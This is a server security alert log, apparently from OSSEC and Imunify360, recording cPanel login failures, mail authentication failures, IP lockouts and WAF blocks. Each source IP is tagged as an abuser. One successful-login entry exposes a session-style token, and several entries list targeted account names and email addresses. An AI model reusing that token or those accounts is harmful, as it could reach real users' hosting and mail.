name: Login failed on the cpanel service.
abuser: 186.194.62.139
country_id: 3686110
description:
[2026-06-15 23:47:52 +0000] info [cpaneld] 186.194.62.139 - crechep "GET /login/?login_only=1&user=crechep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.11.99.60
country_id: 3469034
description:
[2026-06-15 23:48:14 +0000] info [cpaneld] 177.11.99.60 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.235.163.8
country_id: 3932488
description:
[2026-06-15 23:47:40 +0000] info [cpaneld] 190.235.163.8 - crechepetit "GET /login/?login_only=1&user=crechepetit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.247.96.254
country_id: 1562822
description:
[2026-06-15 23:47:47 +0000] info [cpaneld] 171.247.96.254 - crechep "GET /login/?login_only=1&user=crechep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.229.238.42
country_id: 3508796
description:
[2026-06-15 23:47:46 +0000] info [cpaneld] 201.229.238.42 - crechepet "GET /login/?login_only=1&user=crechepet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.70.202.62
country_id: 3686110
description:
[2026-06-15 23:47:59 +0000] info [cpaneld] 190.70.202.62 - crec "GET /login/?login_only=1&user=crec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.246.59.40
country_id: 3923057
description:
[2026-06-15 23:48:01 +0000] info [cpaneld] 38.246.59.40 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.170.137
country_id: 2017370
description:
[2026-06-15 23:47:32 +0000] info [cpaneld] 95.25.170.137 - crechepetite "GET /login/?login_only=1&user=crechepetite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.200.50.113
country_id: 6252001
description:
[2026-06-15 23:47:34 +0000] info [cpaneld] 69.200.50.113 - crechepetit "GET /login/?login_only=1&user=crechepetit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.193.247.88
country_id: 99237
description:
[2026-06-15 23:47:38 +0000] info [cpaneld] 130.193.247.88 - crechepeti "GET /login/?login_only=1&user=crechepeti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepeti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.93.53
country_id: 1512440
description:
[2026-06-15 23:47:21 +0000] info [cpaneld] 213.230.93.53 - crechepetitelunetg "GET /login/?login_only=1&user=crechepetitelunetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelunetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.109.248.19
country_id: 2589581
description:
[2026-06-15 23:47:28 +0000] info [cpaneld] 41.109.248.19 - crechepetitel "GET /login/?login_only=1&user=crechepetitel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitel (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.227.37.143
country_id: 2464461
domain: m.mizuki2.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/m.mizuki2.com/playid/69524-1-4.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.189.50.31
country_id: 3996063
description:
[2026-06-15 23:47:41 +0000] info [cpaneld] 187.189.50.31 - crechepet "GET /login/?login_only=1&user=crechepet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 15 23:48:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:48:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:57501: 535 Incorrect authentication data (set_id=rrrrrrrr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:48:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.178.186.160
country_id: 1210997
description:
[2026-06-15 23:49:47 +0000] info [cpaneld] 103.178.186.160 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.12.189.27
country_id: 3865483
description:
[2026-06-15 23:49:52 +0000] info [cpaneld] 186.12.189.27 - horizonmedicaltg "GET /login/?login_only=1&user=horizonmedicaltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedicaltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.224.96.28
country_id: 3996063
description:
[2026-06-15 23:49:58 +0000] info [cpaneld] 148.224.96.28 - horizonmedic "GET /login/?login_only=1&user=horizonmedic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.93.70
country_id: 1512440
description:
[2026-06-15 23:50:00 +0000] info [cpaneld] 213.230.93.70 - horizonme "GET /login/?login_only=1&user=horizonme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.76.220.164
country_id: 1210997
description:
[2026-06-15 23:50:08 +0000] info [cpaneld] 203.76.220.164 - horizon "GET /login/?login_only=1&user=horizon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.165.225.79
country_id: 3865483
description:
[2026-06-15 23:50:18 +0000] info [cpaneld] 181.165.225.79 - hori "GET /login/?login_only=1&user=hori&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hori (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.161.45.71
country_id: 3017382
description:
[2026-06-15 23:50:09 +0000] info [cpaneld] 176.161.45.71 - horizonm "GET /login/?login_only=1&user=horizonm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.19
country_id: 99237
description:
[2026-06-15 23:50:13 +0000] info [cpaneld] 212.237.119.19 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.2.126
country_id: 3895114
description:
[2026-06-15 23:50:14 +0000] info [cpaneld] 45.4.2.126 - horizo "GET /login/?login_only=1&user=horizo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.18.149.227
country_id: 3175395
description:
[2026-06-15 23:49:45 +0000] info [cpaneld] 87.18.149.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.69.115.40
country_id: 2635167
description:
[2026-06-15 23:49:56 +0000] info [cpaneld] 82.69.115.40 - horizonmedi "GET /login/?login_only=1&user=horizonmedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.64.169.69
country_id: 2542007
description:
[2026-06-15 23:49:55 +0000] info [cpaneld] 196.64.169.69 - horizonmedica "GET /login/?login_only=1&user=horizonmedica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedica (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.244.26.242
country_id: 3686110
description:
[2026-06-15 23:50:03 +0000] info [cpaneld] 201.244.26.242 - horizonm "GET /login/?login_only=1&user=horizonm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.158.98.188
country_id: 2017370
description:
[2026-06-15 23:49:49 +0000] info [cpaneld] 146.158.98.188 - horizonmedical "GET /login/?login_only=1&user=horizonmedical&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedical (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.112.182.156
country_id: 3658394
description:
[2026-06-15 23:50:04 +0000] info [cpaneld] 181.112.182.156 - horizonmed "GET /login/?login_only=1&user=horizonmed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.38.130.199
country_id: 285570
description:
[2026-06-15 23:50:18 +0000] info [cpaneld] 37.38.130.199 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.133.217.75
country_id: 3996063
description:
[2026-06-15 23:50:01 +0000] info [cpaneld] 189.133.217.75 - horizonmedi "GET /login/?login_only=1&user=horizonmedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.73.181.183
country_id: 953987
description:
[2026-06-15 23:50:07 +0000] info [cpaneld] 165.73.181.183 - horizonme "GET /login/?login_only=1&user=horizonme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.186.98.46
country_id: 2017370
description:
[2026-06-15 23:50:10 +0000] info [cpaneld] 93.186.98.46 - horizo "GET /login/?login_only=1&user=horizo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.153.188
country_id: 3996063
description:
[2026-06-15 23:50:20 +0000] info [cpaneld] 187.190.153.188 - hor "GET /login/?login_only=1&user=hor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hor (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.11.10
country_id: 2017370
description:
Jun 15 23:50:50 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.11.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-06-15 23:50:52 dovecot_login authenticator failed for H=([1.227.135.186]) [213.234.11.10]:58626: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.98.210
country_id: 3057568
description:
Jun 15 23:51:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:23:51:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250135&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781567486 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.98.210
country_id: 3057568
description:
Jun 15 23:51:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.9.9
country_id: 3658394
description:
[2026-06-15 23:55:17 +0000] info [cpaneld] 191.99.9.9 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.191
country_id: 99237
description:
[2026-06-15 23:55:19 +0000] info [cpaneld] 185.24.61.191 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.172.32.82
country_id: 3865483
description:
[2026-06-15 23:55:32 +0000] info [cpaneld] 190.172.32.82 - ame "GET /login/?login_only=1&user=ame&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ame (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.40.13
country_id: 3895114
description:
[2026-06-15 23:55:35 +0000] info [cpaneld] 190.5.40.13 - am "GET /login/?login_only=1&user=am&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user am (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.141.160.204
country_id: 2542007
description:
[2026-06-15 23:55:22 +0000] info [cpaneld] 41.141.160.204 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.154.125.215
country_id: 102358
description:
[2026-06-15 23:55:24 +0000] info [cpaneld] 142.154.125.215 - ameakco "GET /login/?login_only=1&user=ameakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.224.216.12
country_id: 3686110
description:
[2026-06-15 23:55:29 +0000] info [cpaneld] 38.224.216.12 - amea "GET /login/?login_only=1&user=amea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user amea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.212.130.176
country_id: 3865483
description:
[2026-06-15 23:55:39 +0000] info [cpaneld] 201.212.130.176 - sa "GET /login/?login_only=1&user=sa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:57:02 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:57:04 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:38827: 535 Incorrect authentication data (set_id=alan)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.177.61.165
country_id: 290557
description:
109.177.61.165 - - [16/Jun/2026:00:00:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568003 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mais/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.1003.1356 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.177.61.165


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.70.134
country_id: 1819730
description:
Jun 15 23:59:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.70.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-06-15 23:59:22 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com ([123.52.202.92]) [42.200.70.134]:33781: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.119
country_id: 1668284
description:
Jun 16 00:00:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.119 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.91.86.212
country_id: 3437598
description:
[2026-06-16 00:00:45 +0000] info [cpaneld] 181.91.86.212 - sorouba "GET /login/?login_only=1&user=sorouba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorouba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.173
country_id: 1269750
description:
Jun 16 00:01:14 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.224.173
country_id: 1269750
description:
2026-06-16 00:01:16 dovecot_login authenticator failed for H=(nsg-corporate-173.224.187.122.airtel.in) [122.187.224.173]:37384: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-06-16 00:00:37 dovecot_login authenticator failed for H=([188.170.243.179]) [101.13.4.119]:36918: 535 Incorrect authentication data (set_id=contact@cameg-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.77.134.169
country_id: 174982
description:
[2026-06-16 00:00:41 +0000] info [cpaneld] 5.77.134.169 - soroubattg "GET /login/?login_only=1&user=soroubattg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubattg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.67.252.5
country_id: 2287781
description:
[2026-06-16 00:00:50 +0000] info [cpaneld] 102.67.252.5 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.124.205.26
country_id: 2782113
description:
[2026-06-16 00:00:57 +0000] info [cpaneld] 46.124.205.26 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.191.80.121
country_id: 6251999
description:
23.191.80.121 - - [16/Jun/2026:00:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289830&pdata=http%253A%252F%252Fwww.gls.devbase.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568149 HTTP/1.1" 302 0 www.gls.devbase.tg "http://www.gls.devbase.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.191.80.121


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.234
country_id: 6252001
description:
[2026-06-16 00:03:46 +0000] info [cpaneld] 134.195.83.234 NEW wcnyaruu:mP5r87p3aCARyfwp address=134.195.83.234,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.74.3.86
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-03.45.74.3.86||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:04:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844569&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568288 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 113.16.16.163
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-04.113.16.16.163||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:05:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:05:43 dovecot_login authenticator failed for H=(ranfkb4btr) [130.12.181.65]:60716: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:05:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:05:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:36070: 535 Incorrect authentication data (set_id=colors)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.66.137.167
country_id: 3932488
description:
[2026-06-16 00:07:02 +0000] info [cpaneld] 181.66.137.167 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.205.23.45
country_id: 290557
description:
[2026-06-16 00:06:24 +0000] info [cpaneld] 176.205.23.45 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:06:28 dovecot_login authenticator failed for H=(N4KzzD4DI) [130.12.181.65]:62426: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.155.118.97
country_id: 1210997
description:
[2026-06-16 00:06:49 +0000] info [cpaneld] 103.155.118.97 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.137.12.143
country_id: 3865483
description:
[2026-06-16 00:06:58 +0000] info [cpaneld] 186.137.12.143 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.167.166.122
country_id: 3508796
description:
[2026-06-16 00:07:01 +0000] info [cpaneld] 190.167.166.122 - tc "GET /login/?login_only=1&user=tc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.28.235.125
country_id: 2264397
description:
[2026-06-16 00:06:39 +0000] info [cpaneld] 37.28.235.125 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.96.244.3
country_id: 3469034
description:
[2026-06-16 00:06:43 +0000] info [cpaneld] 179.96.244.3 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.148.113.226
country_id: 1694008
description:
[2026-06-16 00:06:55 +0000] info [cpaneld] 49.148.113.226 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:06:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.206.84.237
country_id: 3017382
description:
[2026-06-16 00:06:26 +0000] info [cpaneld] 77.206.84.237 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 164.163.200.219
country_id: 3469034
description:
